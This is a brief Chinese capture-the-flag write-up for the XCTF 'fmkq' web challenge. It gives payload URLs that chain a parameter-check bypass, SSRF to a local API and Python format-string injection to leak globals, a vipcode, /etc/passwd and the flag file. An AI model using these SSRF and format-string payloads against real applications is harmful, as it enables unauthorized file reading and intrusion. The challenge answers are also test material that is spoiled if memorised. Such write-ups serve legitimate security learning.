>
>
xctf-高校战疫-Web-fmkq
Frank
可以令head为’\'(取全局变量)来绕过head的限制执行curl语句。
将begin设为:begin=%s%可以直接输出结果(第二个%用于转义后面的%)
本地的8080端口部署了个fmkq api
通过fuzz发现其实后面的/read/file=参数是个python的格式化字符串,参数名为file
可以获得vipcode: 3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w
payload: /?head=\&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode=0&begin=%s%
/?head=\&url=http://127.0.0.1:8080/read/file=/etc/passwd%26vipcode=3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w&begin=%s%
读/etc/passwd
此时可以通过读取/app/下的文件获得源码
而且看到根目录下有个
/fl4g_1s_h3re_u_wi11_rua
can’t read
看源码发现过滤了"fl4g"
本地测试时{vipfile:.2}4g_1s_h3re_u_wi11_rua/flag 这样可以绕,但是远程就internal server error
原因:进去的那一层过滤了file:
可以file={vipfile}_1s_h3re_u_wi11_rua/fl4g,但是差一个字母
反正就在各种变量里头找"fl4g_1s_h3re_u_wi11_rua"嘛
于是最后的payload:
/?head=\&url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[current_folder_file][21]}/flag%26vipcode=3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w&begin=%s%
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论